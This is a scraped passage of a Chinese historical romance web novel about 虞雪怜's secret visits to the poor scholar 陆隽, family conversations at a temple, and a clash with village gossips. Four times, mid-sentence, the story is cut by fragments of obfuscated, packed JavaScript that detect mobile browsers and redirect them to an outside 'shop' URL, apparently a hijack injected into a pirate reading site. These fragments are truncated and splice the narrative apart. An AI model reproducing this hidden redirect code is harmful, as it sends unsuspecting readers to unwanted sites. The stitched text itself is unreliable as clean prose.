无奈的表情攀上陆隽的脸，与其说是无奈，不若说是不知所措。 她在告诉他，来找他是件难事。 他做了错误的决定，当掀开那道帘子，他便错得一塌糊涂。他明知不能抵抗来者，却高估自身。 背后是清脆的水声，刺挠的感觉再次袭来，陆隽想到的是虞穗手掌的柔软。 她与他的接触烙在心上，在此刻涌现而出。 “虞姑娘不怕受罚吗？”陆隽问。 “不怕。”虞雪怜笑道，“比起受罚，我更想让陆公子吃到新鲜的果蔬。”她话锋一转，“我知道陆公子不想让我来花坞村，可陆公子视我为朋友，我也视陆公子为兄长。那我为何不能来花屋村见你？” 她和陆隽有必要好好地掰扯一番，若她不点明，陆隽大抵要继续闷在壳子里。 陆隽有条不紊地说：“虞姑娘家在金陵，陆某一介草民，虞姑娘不须纡尊降贵。若虞姑娘视我为兄长，那么就不该忤逆我的话，不该来花坞村。” 虞雪怜沉吟不语，若陆隽是她的亲生哥哥，会是一件可怕的事情。她大哥何时也不曾对她说过‘忤逆’二字，只要不是什么离经叛道的，大哥都顺着她的想法来。 陆隽一身威严，让人望而生畏。她仅是凑个近乎说把他视为兄长，他倒当真了。 虞雪怜识相地闭上嘴巴，做人到底是要有骨气的，她说服不了陆隽，也没胆子去忤逆他。 她拿起汗巾，擦干净脚上的水。 罗袜不能穿了，虞雪怜光着脚穿了鞋履，然后站起来，说：“多谢陆公子照顾，告辞了。” 陆隽这才侧目看虞雪怜，她蹙眉站在他身后，撇着唇角。 他无意惹她生气，然她要走，他没理由挽留她。 或许如此方能让她厌恶他。 虞雪怜刚走两步，脚下像踩了银针似的刺痛，腿一瘸一拐的。 陆隽见状上前问虞雪怜，是不是长了水泡。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152519|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虞雪怜学着陆隽淡漠的语调，道：“陆公子不是急着让我走吗？” 她的眼神甚至也学到了陆隽的精髓，冷得仿佛藏在冰窖几百年。 陆隽看着眼前露出獠牙的白兔，心下一沉，说：“我不急。” 言毕，他抱起虞雪怜，往床榻边走去。 瞬间的腾空感使得虞雪怜恍若掉进棉花，她抬眼便是陆隽瘦削的下巴，再往下，是他坚硬的胸膛，而她的脸正紧贴着此处。 “陆隽，你这是做什么？”虞雪怜不服输地问。 “你的脚生了水泡。”陆隽不作冠冕堂皇的解释，只道：“我若不这么做，等你下山，回去要如何向你祖母和爹娘交代？” 虞雪怜有一种错觉，她大概让陆隽做了出格的事。 他说的话似乎也不是彬彬有礼的了……难道陆隽是吃硬不吃软的人？ 她好言好语地对他行不通，对他耍小性子却有这样的待遇。 陆隽的床榻铺着粗糙的被褥，虞雪怜坐在床榻边，双腿并拢，好整以暇地盯着陆隽。 “可是生了水泡，一时半会儿消不掉的。”虞雪怜说。 陆隽从书桌的抽屉里取出巴掌大的瓷瓶，说道：“我有药膏。” 在慈溪镇做工，手指磨出水泡，起冻疮是常有的事，药膏药油是不可缺的东西。 适才的举动已不是君子所为，陆隽把瓷瓶递给虞雪怜，示意让她自己涂药。 * 庙宇檀香缭绕，灯盏闪烁，小和尚在佛殿敲着木鱼。 虞牧跟徐南川坐在厢房下棋，他们吃过斋饭就开始切磋棋艺。灵谷寺乃佛门重地，不得舞刀弄枪，便只有下棋能打发时间了。 “你说，你妹妹的脑袋瓜都在盘算着些什么？”徐南川单手撑脸，问道，“她那天救高乘远，我瞧着她像是有预料。” 虞牧执棋的手抬起又放下，棋局被徐南川搞得乱糟糟的。 “妹妹在燕王世子那里吃过亏。”虞牧慢条斯理地说，“她不想让燕王世子害人。” 他问：“你能不能认真下棋？” 从第一盘棋局到现在，南川都要提一句妹妹，虞牧摸不清南川是对妹妹有意见，还是关心妹妹。 “我哪里不认真下棋了？”徐南川摩挲着棋子，说道，“那临川侯府的小子是怎么回事？” 虞牧虽然不满徐南川心不在焉的态度，但跟妹妹有关的事，他不会含糊其辞：“穗穗不愿嫁进临川侯府，惹恼了袁丞——” 不等虞牧的话讲完，徐南川就嗤之以鼻地说：“我的眼光不会出错罢？当年我怎么和你说的，这小子不是可以让你妹妹托付终身的东西，幸好你妹妹迷途知返了。” 虞牧兄妹俩的书信，徐南川看过大半，他那时纳闷了有一个月，烦恼地跟着虞牧到军营外吹风。 明明是圆润可爱的女娘，记挂着远在军营的大哥，明明在信上说的都是吃喝玩乐的事，无缘无故地就情窦初开了。 即便徐南川没见过袁丞，也因此无缘无故地记恨他。 35. 情郎 临川侯府地位尊荣，但于俆南川而言，如这种世袭贵族，家宅的糟心事非比寻常。 虞牧是他的过命兄弟，他理所应当要为兄弟着想——包括兄弟的妹妹。 俆南川一本正经地说道：“踏实，忠诚，英勇神武，这三个缺一不可，教你妹妹擦亮眼睛，照着我的话去挑郎君。” 虞牧手捏白棋，定神地看着棋盘。听了徐南川的话，他茫然地说：“我不懂你的意思。” 他做不到同时想两件事，下一步的棋要往哪走，妹妹要挑什么样的郎君……？ 这盘棋南川从一开始就处于劣势，输赢也没了意义。虞牧把棋子放回棋奁，接着道：“穗穗的婚事，由她自己做主。” “笨木头。”徐南川恨铁不成钢地说，“你祖母那为人，能愿意让小辈决定自己的婚姻大事吗？” 这回老太太说要来灵谷寺给虞牧求姻缘，整出的气派不小，六顶轿子跟着，还抬了十斤香米，十斤应季的瓜果时蔬。上半年南郢的州县灾害不断，菜价涨得惊人，便有不少富商给灵谷寺捐钱捐粮，救济来寺庙避难的百姓。 虞牧思忖着说：“祖母也是为穗穗好。” “你我都没办法完全决定自己的婚事，父母之命，媒妁之言，由不了一人做主。”俆南川收着棋盘上的黑棋，说道，“所以要教你妹妹尽可能挑选一个靠谱的郎君，否则你祖母若做出些让人意想不到的事，到时就束手无策了。” 被催着成亲，强迫和不喜欢的人见面，俆南川深受其害。 他爹娘在府邸遛鸟养花，一见他就催他去相看娘子，早日成婚让他们抱孙子，便不用在家遛鸟了。他的老祖父甚至要挟他，若是抱不到重孙子，绝对不会轻易咽气离世的。 俆南川说，他想让祖父长命百岁，恕他难以从命。于是他的老祖父次日病卧在床，他也被爹娘痛骂一顿。 镇国将军府是他的栖息地，这回他跟虞牧来灵谷寺，见识到老太太的厉害，府邸一大群人围着她团团转。他这半个外人，却荣幸地让老太太照顾——她说等回了金陵，要给他讲一桩顶好的婚事。 可惜虞牧反应迟缓，良久才道：“南川，你是在介意祖母白天说的那番话吗？” 俆南川摆手说道：“我有什么好介意的？反正过两日就去西北了。我不回金陵，倒要请你帮我和你祖母说一声，莫要让她误会我不敬她。” “嗯。”虞牧点头，随之问道：“你方才说，教妹妹选踏实，忠诚的郎君？” 俆南川补充道：“还要英勇神武。” 虞牧乌亮的眼睛灼灼地凝视着俆南川，盯得俆南川发慌。 他说：“我心中有一人选。” 俆南川扯唇，说：“此人不好遇，你这么快就确定了人选？” 放眼整个金陵城，他都一时想不到何人符合他所说的。 俆南川疑惑地问：“是谁？” 虞牧的手指了指俆南川，道：“是你。” “我——”俆南川咳了一声，舌头像是被捆绑似的，捋不直了，结巴好一阵子，道：“我的确是。” 虞牧又面露纠结地皱眉，现在他细致地考虑了南川今夜的言论。妹妹是他至关重要的人，他远在军营不能替父母照料妹妹，已经有失长兄的责任。南川的话很有道理，他要教妹妹挑选郎君。 虞牧慢慢有了头绪，发觉南川是个不错的选择。 可妹妹和南川待在一起，两人不是吵便是闹。妹妹也未必认为南川是好郎君。 …… 彼时，寺庙的木鱼声逐渐消失，小和尚们逐个回禅房打坐歇息。 因这个月灵谷寺接纳的难民都住在后院，留给老太太他们住的禅房不多，只得挤挤。 虞雪怜和虞嘉卉分在同一间歇息。 良儿望了望躺在榻上的娘子，然后剪掉烛芯，提心吊胆了一天，终于安稳过来。她蹑手蹑脚地摸黑找到自个儿的被褥，闭眼睡下。 虞嘉卉侧躺在榻上，对着虞雪怜，低声问：“怜姐姐今日去见的是哪家的情郎？” 今儿个是她替嫡姐打的掩护，她原想着嫡姐在金陵城悔改了，不再跟外男随意接触。可来了灵谷寺，这不过第二天，嫡姐就托她瞒着祖母和父亲，说有要紧的事出去一趟。 凑巧父亲也让她和嫡姐在一间禅房歇息。 虞嘉卉左右衡量，心里是有几分不肯的，但念及虞雪怜终究是她嫡姐，若在寺庙丢了颜面，私见外男的事情败露。对她没有半分好处，她便答应了。 秋夜的风从门缝偷溜进来。虞雪怜盖严实被褥，脚掌起的水泡没有白日那么疼了，刚升起的困意也被虞嘉卉驱散。 她不解地问：“情郎……？” 虞嘉卉复问道：“怜姐姐不是去见情郎了吗？” “哦，是。”虞雪怜意识到虞嘉卉误会她是去私会了，将错就错地说，“他家在大山，见一面不容易。” 虞嘉卉讶异地问：“在大山？” 嫡姐的情郎，哪个不是金陵的世家子弟，哪个不是坐拥金山的？虞嘉卉牵强地笑道：“姐姐可是跟我说笑，拿我寻开心，若是这般，明日姐姐要有天大的事去办，还请姐姐另寻他人帮忙。” 祖母跟方丈主持商量了，他们要在灵谷寺住五天，虞嘉卉相信嫡姐不会老实地待在寺庙。 虞雪怜倍感冤枉，信誓旦旦地说：“我所言句句是真。” “他家境贫寒，可却有凌云之志，学识渊博。而且……仅是我对他有情，我若不找机会去见他，他是不愿来找我的。” “那人是不是书生？”虞嘉卉问。 虞雪怜说道：“他秋闱高中解元，明年便要参加春闱。” “姐姐说的，像是话本子里编的故事。”虞嘉卉叹了一下，她无意跟嫡姐作对，转而问道：“姐姐见过承宣伯府的二公子吗？” 虞雪怜对此人没印象，道：“我只知承宣伯府的大公子娶了圣上的外孙女长宁郡主。” 虞嘉卉苦笑道：“今儿个我母亲的丫鬟过来给我传话，说承宣伯府的姨娘在这里辟谷，礼佛的时候碰见老太太和夫人了。祖母说承宣伯府的周二公子跟我年龄相仿，想寻个日子让我和二公子见一面，若合眼缘，年底就要定下婚事。” “那妹妹的意思呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177940|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”虞雪怜跟拢翠阁走得不近，在府邸不常和虞嘉卉交心谈话，如今在一间屋檐下相处，彼此是有什么说什么，不藏着掖着的。 虞嘉卉单刀直入地说：“望姐姐替我想个法子，我不想见周二公子。” 虞雪怜自是干脆地应下，她们两人也算是互帮互助了。 有虞嘉卉打掩护，且灵谷寺每日走动的香客甚多，有方丈在佛殿诵经，老太太一大清早就去听。虞鸿夫妇在旁作陪，没工夫留意别的。 一连三天，虞雪怜坚持不懈地去花坞村给陆隽送书送菜。 她尽量避开有村民聚集的地方，但免不了爱看热闹又闲不住的大娘婶子。 “孙家嫂子，你昨天晌午瞅见去陆隽家送菜的小娘子了吗？她穿的衣裳，戴的首饰，那不简单呐。陆隽这穷书生真是烧了高香的，不晓得给小娘子灌了啥迷魂汤，跑到咱这大山里吃苦。” 坐在村头槐树下的杨婶嗑着瓜子，给附近的妇女唾沫飞天地说道着：“我看呀，陆隽快搬出花坞村了，他妥妥的要成金龟婿，小娘子的爹一定是在县衙当官的，等陆隽入赘过去，就是官老爷啦。” 有大娘啧啧接话道：“可不是吗，衙门前几日不还去收拾蔡婶儿他们一家，叫他们老实点。唉，陆隽飞黄腾达了，咱们也不能跟着沾点光。” “瞧你眼红的，陆隽这人邪得很，他能不能娶到小娘子还另说呢。若是霉运又上来了，他照旧是个窝囊废。” “杨婶，那小娘子今日来吗？不如咱们去打听打听，小娘子的家是哪里的，万一她和陆隽的事黄了，咱花坞村的年轻汉子没准儿有机会。” 杨婶闻言吐出瓜子皮，拍着大腿，嬉笑道：“呸！就你家儿子好吃懒做的无赖相，你省省罢！” 陆隽本人对这些流言蜚语一无所知，他千篇一律的日子有了些微的变动，虞雪怜总要在他家里停留近两个时辰。 他今天没有去慈溪镇做工，在家中洗了衣物，清扫院落和堂屋。 为了防止贪念，他专注地在书案前温习诗书。 “吱呀——” 屋门轻轻地被推开，来者像是来到自家一样放松，“陆隽，你吃过饭了吗？” 陆隽的目光停在书中的某一行字上，怪异的是，这本他读过数十遍的书，顷刻有了陌生感。 他回道：“吃过了。” 陆隽不动声色地翻着书册，说：“桌上放了两卷竹简，你拿去看看。” 虞雪怜不禁雀跃，顾不得擦拭额头的汗，拿起放在桌上的竹简。 这毕竟是陆隽给她准备的，不枉她千辛万苦地来给他送书送菜。 虞雪怜摊开一看—— 一卷是《周礼》一卷是《道德经》。 “这两个我看过的。”虞雪怜笑说道。 陆隽的目光移向虞雪怜，宛若是学堂里严肃的夫子，他问：“若是读过，为何有些事却不知分寸？” 譬如，她为何不懂男女有别，不计后果地接近他。 为何不懂得趋利避害，对孑然一身的人付出温暖。 这两本书不单是给她看，也是在约束他自己。 36. 罗袜 这两卷竹简是陆隽誊抄下来的，虞雪怜认得出陆隽的字迹。她低眸敛目，这一行行规矩严苛的行文，所讲述的离不开仁义礼德，修身养性。 她合上竹简，柔声问陆隽：“不知分寸……是指什么分寸？” 虞雪怜很好奇，陆隽会怎么回答她。 陆隽无言望着她，她身上穿着霜白苏绣锦衫，没有花纹和其他的颜色，素雅得像一朵杜鹃。 杜鹃花，他在老师的院中见过，也是纯白色。 老师说杜鹃难养，纯白色的杜鹃花难得，对盆土要求敏感，害怕暴晒，易受病虫的吞噬，若有一点照顾不得当，它便会枯萎而亡。 虞穗不是花卉，是难对付的人。 她的眼神透彻，却问他分寸是指什么。虞穗读过的书并不少，她既分得清小楷和大篆，也说得出先人广为流传的故事，又怎不明白他的意思。 虞穗故意如此问他，他偏不回答。 陆隽淡然说道：“虞姑娘再读一遍这两卷书，或许就领悟分寸是什么了。” 虞雪怜手持竹简，缓步走到陆隽的书案边，见他在温习，笑道：“我听陆公子的，仔细再读一遍。” 陆隽默不作声，只点头，便提起毛笔写字。 虞雪怜如这几日一样，坐在陆隽的木榻上。他家里除了堂屋的几个小板凳，还有两个红木高椅，但粗糙劣质，坐着有些硌。唯有这张木榻软乎一点。 她不想打搅陆隽温习功课，待在他这里也只是问候两下就安静下来。 陆隽惜书爱书，在虞雪怜看来是极其枯燥的事情，他则做得到日日专注读书。 虞雪怜漫不经心地看着竹简，几乎一目十行，内容对她来说不重要，若不是陆隽亲手写的，她根本看不进去。 她眼帘稍抬，入眼的是陆隽挺直的后背。四个月之后便是春闱，县衙那儿给陆隽买了一座宅子，但陆隽至今没搬去住，大抵是想着在客栈做工，来来回回地费事。 “你的脚，好些了吗？”陆隽忽然开口问。 虞雪怜思绪回笼，说道：“水泡消了，走路不疼了。” 说起水泡，虞雪怜不由想起陆隽抱着她的那日，她当时虽表现得理直气壮，不慌不乱，可陆隽的举动就好比在风雨天出现一道霓虹似的罕见。 未了，他递给她药膏，又恢复一副清冷守礼的君子模样，跟方才抱她的人不是他似的。 “这是什么？”虞雪怜的目光被木架上的一双罗袜吸引，她起身去看，原是她穿脏的，被陆隽洗干净了。 她本来是让陆隽把它扔掉的——虞雪怜心情复杂地看向陆隽，陆隽不带情绪的眼眸亦在看她。 陆隽竟给她洗了罗袜，这不亚于是给她洗贴身衣物。其次，他刚刚说她不知分寸，背地却做出这等事！ 终归是她不够了解陆隽。 “抱歉。”陆隽顿生一种无力感，抑或在此之前便有了，现在让虞雪怜戳开罢了。 “我看罗袜没烂洞，擅自把它洗了，未经虞姑娘允许，是我逾越了。” 陆隽立起的高墙，隐藏着的羞愧，伪装出的寡欲，一个接一个地分裂瓦解。可笑的是，他让虞穗读的《周礼》《道德经》，他曾一字一字誊抄，句句熟背，谨记于心，告诫自身。 他是最不能犯过错的，明知不可为，却留着她的罗袜，轻揉把它洗净晾干，放在屋内。 在黑夜的窗台下，他在宣纸上勾勒出她的脸。 她穿的衣裙不论素雅艳丽，他会从上至下地看，虞穗丝毫不曾提防过，她向他弯腰时，露出藕荷胸衣包裹不住的莹白。 虞雪怜一时消化不过来，支吾道∶“陆公子勤俭持家，帮我洗脏了的罗袜，理应要谢谢陆公子才是。” 当初她看兵书，一是为镇国将军府谋划复仇，二是为陆隽。 而今进展突破地不是一般的大，她该高兴的……可是她觉得，路好像走歪了。 “虞姑娘客气了。”陆隽说，“我做得不值一提。” 他想，不光彩，阴暗的事，不值得提。 虞雪怜莞尔道：“话不能这么说。陆公子的手，本是提笔写诗作画的，这双罗袜被我穿得不成样子，陆公子帮我洗得崭新，如何不值得提呢？” 概因接受了自己的不堪，陆隽从容道∶“虞姑娘若是不急着走，可愿让我给你画一幅像？” “你不温习了吗？” “陆某的短板是作画，给你画像，也是温习。” 堂屋窗明几净，木桌上摆着颜料，砚台，陆隽家里较为奢侈的即是文房四宝了。 虞雪怜坐在陆隽对面，他纤细的手指握着毛笔在宣纸落下她的轮廓，目光聚在她的脸上。 “陆隽，你准备何时搬去金陵？”虞雪怜问。 祖母后日启程回金陵，爹爹说祖母的生辰快到了，以往没给祖母办过生辰宴，这次需得办体面。爹爹跟母亲商量，让她和卉娘张罗生辰宴，少说要半个月忙活。 今天一别，要好些日子见不着陆隽了。 陆隽说：“等年底。” “到时你若来了金陵……”虞雪怜顿了顿，说，“上次我未赴陆公子的酒席，待你来了金陵，我请你去丰乐楼用膳。” “虞姑娘夜里歇息的很晚吗？”陆隽用食指指向自己的眼窝，他轻轻一滑，问，“你这里发青，觉睡得不安稳，虞姑娘在忧愁什么？” 陆隽一语中的，虞雪怜在寺庙睡得晚起得早，夜间半梦半醒，一日查不出上辈子栽赃镇国将军府的奸人，她不敢松懈。 虽派了浮白去调查，但到手里的不过是表面浅显的线索，她身处朝堂之外，想把视线放到朝廷深处的，看清其内的污泥肮脏，实属不易。 “在禅房睡得不习惯，夜里睡不着，忧愁白天的面容会不会憔悴。”虞雪怜摸了摸眼窝，笑问道：“有这么明显吗？” 陆隽注视着她，好似能透过她的眼睛来探究她的话是真是假。虞雪怜倒不躲避他，她知晓陆隽聪明，只是看一眼旁人的脸色，表情，就洞察出人家的心思。 “虞姑娘若今夜睡不着，可以按压百会穴，印堂穴。”陆隽放下毛笔，指出他所说的穴位，说道，“这两个穴位可缓解头痛焦躁，有助于入眠。” 虞雪怜一眨不眨地凝睇陆隽，一边记着穴位，一边感慨陆隽知识渊博到连医书都读。上辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200982|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子跟他打过交道的朝臣对陆隽褒贬不一，却从不有人质疑他的本事，皆说他是怪物。 其实哪里是陆隽怪，他比常人付出千百倍的努力，在寒窗刻苦读书。亏得那些朝臣的后代在国子监随名师读书问道，真正读出来名堂的，有几个便不错了。 这也是高乘远前世为何那般视死如归的为陆隽鞍前马后，他落得残废，不受圣上重用，同僚轻看他。陆隽登上内阁首辅的座椅，一手提携高乘远到内阁大政事的位置。 “我记下了，陆公子平日对医书也有研究吗？”虞雪怜说。 “略懂一二。”陆隽忽然问，“若陆某春闱落榜，虞姑娘会怎么想？” 虞雪怜脱口而出道：“若陆公子春闱落榜，我想应该无人能入榜。” “虞姑娘如此信任我么？”陆隽娴熟地描画虞雪怜的嘴唇，她的唇很特别，圆润的，精致的，故他画得极慢，怕稍有不稳就出错。 虞雪怜抿了抿唇，说道：“我不是说过吗？你一定能金榜题名的。” 这幅画像要同之前画得顺畅，陆隽看时辰到了，便送虞雪怜下山。 走过香椿树林，他们碰见赶着羊群回来的盼夏。 盼夏怀里还抱着一只羊崽，忙不迭地上前，问道：“虞姐姐，你这是要走了吗？” 她刚跟山上的大娘面红耳赤地吵了一架，虞姐姐这样好的人，给陆隽哥哥送东西，到了大娘的嘴里，就被编排得不中听。 盼夏没忍住，和和气气地告诉大娘，说不要造谣生事，诬陷虞姐姐的清白。 那大娘恶言恶语地掐着腰，教训她胳膊肘往外拐，替一个外边人说话，叫她不要跟着虞姐姐学坏了。 盼夏不甘示弱，拿出杀猪的气势，跟大娘对骂起来——她没输，但委屈。 村里的人都向着大娘，斥她背祖离宗，说她翅膀硬了，嫌贫爱富。哪天就跟着富贵人家的公子哥私奔，再也不回花坞村了……盼夏不明白，她骂了几句大娘，这些个叔叔阿伯就恨不得把她的脊梁骨戳穿了。 虞雪怜觑见盼夏的眼眶泛着泪，问道：“盼夏，你怎么了？” 盼夏咽下的气和眼泪瞬间涌出，抽噎道：“虞姐姐，他，他们说，陆隽哥哥要去做你的金龟婿了，胡言乱语的，又说不晓得陆隽哥哥是在哪里勾引的你。我气不过，就和他们吵起来了。” 虞雪怜拿出丝帕，镇静地给盼夏擦拭眼泪，问道：“他们在哪儿？” 盼夏哭得悲痛，被虞雪怜这么一问，吸了吸鼻子，说道：“他们在山上放羊。” 虞雪怜说：“带我去。” 言毕，她转身望向陆隽，仰眸看他，以询问的眼神，说：“我想去找他们。” “不必问我。”陆隽说，“我随你一起。” 他的语气没有嫌虞雪怜多事，反而有支持她的意味。 盼夏不是扭捏的性子，但也懊悔一股脑地把不中听的话全说出来了，让虞姐姐也跟着不舒坦。 放羊是要等黄昏才能回家的，那些大娘阿伯正热火朝天地打着赌，赌陆隽这上门女婿做不做得成。 “嘘！小点声，别说了，陆隽带着那小娘子上山了！” 37. 般配 漫山遍野的羊群咩咩地叫，低头啃食青草。凑在一团说闲话的大娘阿伯噤若寒蝉，六神无主地捏着放羊鞭，心虚地乱瞟。 虞雪怜不疾不徐地往他们站的地方走，陆隽随着她的步伐，让人看了，倒真是檀郎谢女。 方才跟盼夏互骂的郑大娘余怒未消，吊稍眼刻薄地瞪着盼夏，嘴巴颤抖。这小兔崽子果然是胳膊肘朝外拐，前脚和她吵完架，后脚就跑去告状了！ 盼夏迈着大步，气势汹汹地抱着羊崽，向那些大娘阿伯翻了个白眼。 “哟，陆隽，”杨婶率先跟陆隽笑嘻嘻地搭话，“不，瞧我这记性，您现在可是官老爷了。这秋日头还没下去，您来这儿是有啥事吗？” 陆隽长身鹤立，眉眼疏朗，他平视看站在树下缩头缩脑的几个大娘阿伯。 他垂目回杨婶：“是有些急事来问问诸位。” 杨婶被陆隽的目光镇住，笑容变得力不从心。 她这是头一次离陆隽这么近，村里人都嫌他晦气，不肯和他说话。所以她碰到陆隽也是远远地瞧两眼，离得近了，果然瘆人。 陆隽说话是冷冷淡淡的调子，看杨婶就像审贼。 杨婶生怕陆隽以为是她骂的盼夏，装糊涂道：“我刚过来给我家男人送茶喝嘞，不晓得这有啥急事呀。” 说着，她瞥了瞥陆隽身旁的小娘子，芙蓉面，柳叶腰，模样和身段约莫着十七八岁的样子。杨婶对陆隽的怵劲消散了点，再斯文的书生，还不是贪图小娘子年轻貌美，好意思在这里假清高。 虞雪怜开口说道：“方才我和陆公子见盼夏眼眶红了，不知她是在哪里受了委屈，便想过来看看。” 此话一出，郑大娘和别的村民面面相窥，这小娘子柔中带刚，不是好惹的。他们本就纳闷陆隽为何突然上山了，听了虞雪怜的话，便猜想是她让陆隽来的。 虞雪怜见他们不言语，又说道：“初来乍到，该向诸位大娘阿伯问好的，只是近日事多缠身，一时来不及。可若是因此引起莫须有的诋毁，倒让人难办了。” “小娘子误会了，误会了。”杨婶摇摇头，说道，“您能来花坞村做客，是村子的福气啊。我们一把年纪，在一块儿干农活就爱说些玩笑话，估计是盼夏丫头当真了，才哭鼻子的。” 杨婶去拉盼夏的手，悄声哄她别闹脾气，弄得郑大娘和阿伯难堪。 “玩笑话？”虞雪怜问，“是怎样的玩笑话呢？” 盼夏甩掉杨婶的手，哼道：“你们说的算什么玩笑话，是下三滥的话。” “我……我可没说。盼夏丫头，你甭冤枉我。”杨婶垮着脸，扭头埋怨郑大娘：“怪你这个长舌头，给我招了一身臊，也怪我好管闲事，还护着你！” 郑大娘急了，但死不承认骂了盼夏，推诿道：“是盼夏这丫头挑事，我怎么长舌头了？他，他们都说了，凭什么怪我？” 她起了一头的冷汗，也没胆在陆隽面前动粗，以前在人背后说了坏话浑话，横竖这人听不见，不用怕他。 可现在那小娘子和陆隽过来了，她哪里蠢到能把那些话讲一遍？ 虞雪怜轻笑道：“大娘既觉得自己没错，怎么不能堂堂正正地，何必遮掩？” “我，我——”郑大娘说不出一句囫囵话，有陆隽在，他在村里就是个不吉利的。这会儿若是换别的小娘子，她撒泼闹腾一下就了事，骂对方八辈祖宗都不带眨眼的。 陆隽道：“今日之事，孰是孰非，诸位心知肚明。盼夏无端受了委屈，郑大娘作为长辈，不觉惭愧，陆某也无法逼迫你给盼夏道歉。若有下次，便不是今日这般简单了。” 他的这番话好似衙门判案结束。即使没亲耳听郑大娘道歉，盼夏也感觉吐出一口气，浑身舒畅，跟虞雪怜和陆隽回去了。 * 桑榆末景，山川与落日余晖交融。再过半盏茶，是灵谷寺吃斋饭的时辰。 由浮白带路，虞雪怜每次都赶在黄昏前赶到寺庙，因盼夏一事，他们今日回来的迟了一些。 寺庙的后院有一扇小门，直通虞雪怜住的禅房。 尽管有虞嘉卉瞒着，虞雪怜每次走这扇小门，都格外的谨慎。 等浮白关了小门，虞雪怜转身就见俆南川似笑非笑的脸。 虞雪怜缓神，压住喘气声，问道：“你站在这里当门神呢？” “跟你大哥下了三天的棋，闷得头上要长蘑菇了。”俆南川懒散地说道，“我逛了逛寺庙的几个院子，小和尚看我实在无聊，说后院是个观赏晚霞的好去处，我就过来了。” 他随口问：“你呢？鬼鬼祟祟的，不从正门走，偏走这后门，溜去哪儿玩了？” 虞雪怜笑道：“我去山下的镇子玩。” 俆南川撇撇唇，说：“你不够义气，去镇子玩，怎不叫上我？” 虞雪怜义正词严地问：“你我男女有别，一同去玩，成何体统？” “说得好。”俆南川蓦地俯身盯着虞雪怜，问道，“你说男女有别，是没把我当做兄长看？” 虞雪怜微微一怔，随即说：“正因你是兄长，我若带你溜出去玩被逮到，岂不连累你了。” 俆南川笑着说道：“少找借口。” 他让开路，视线转移到浮白的脸上，然后问：“你这小侍卫的功夫如何？我和他比试比试。” 虞雪怜不知道俆南川是一时兴起，还是想试探什么，警惕地看着徐南川。 “在寺庙比武，不合适吧？”虞雪怜望了望天色，说，“该去吃斋饭了。” 徐南川抱肩说道：“不在寺庙比武便是了。” 虞雪怜思忖片刻，若执意不让浮白和徐南川比武，反而显得奇怪，且浮白的表情似乎也期待和徐南川切磋。 她点了点头，说：“那你稍微比试一下，就带浮白回来。” 出了寺庙，徐南川找了一片树林，跟浮白说只管拿出全身的功夫来打。 浮白知晓徐南川和大公子的功夫不相上下，有徐南川这句话，更是提劲主动去攻徐南川。 天色已经不亮了，有繁茂的树枝挡着残缺的暮光。主动出击的人占有优势，徐南川一次次躲掉浮白的拳脚，悠悠的问道：“你们白天去的镇子在哪儿？好玩吗？” 浮白止住脚步，反应过来徐南川是来盘问他的，“我不识字，不知那个镇子叫什么名字。” “那她昨日也是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212474|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇子玩了？” “娘子昨天在禅房看佛经，没有出寺庙。” 徐南川停下防守，笑道：“不轻易出卖主子，挺不错。” 浮白欲言又止，低眉不应话。 “好了，你这功夫回去再练练，给你这么多机会，一次都没打到我。”徐南川的手落在浮白的肩头，说：“我和她大哥不日要动身回军营，今日和你切磋武功，是想探探你有几成功力。” “她贪玩归贪玩，你是她侍卫，在外边要提防点心怀不轨的男子，比方说临川侯府的袁丞，下回你见着他对穗穗死缠烂打，你就报上我徐南川的名号，替我揍他一顿。” 浮白颔首听着徐南川的叮嘱，问：“那大公子为什么不直接吩咐属下？” “他功夫不如我。”徐南川笑道，“若是让他吩咐你，那袁丞怎么挨揍？” 浮白若有所思，是了，大公子为人腼腆正直，以和为贵，是不会吩咐他去揍袁丞的。 …… 是夜，月明星稀。 入了戌时，陆隽本是要吹灭蜡烛，准备睡下了。却听吴阿牛敲响屋门，问起白天的事。 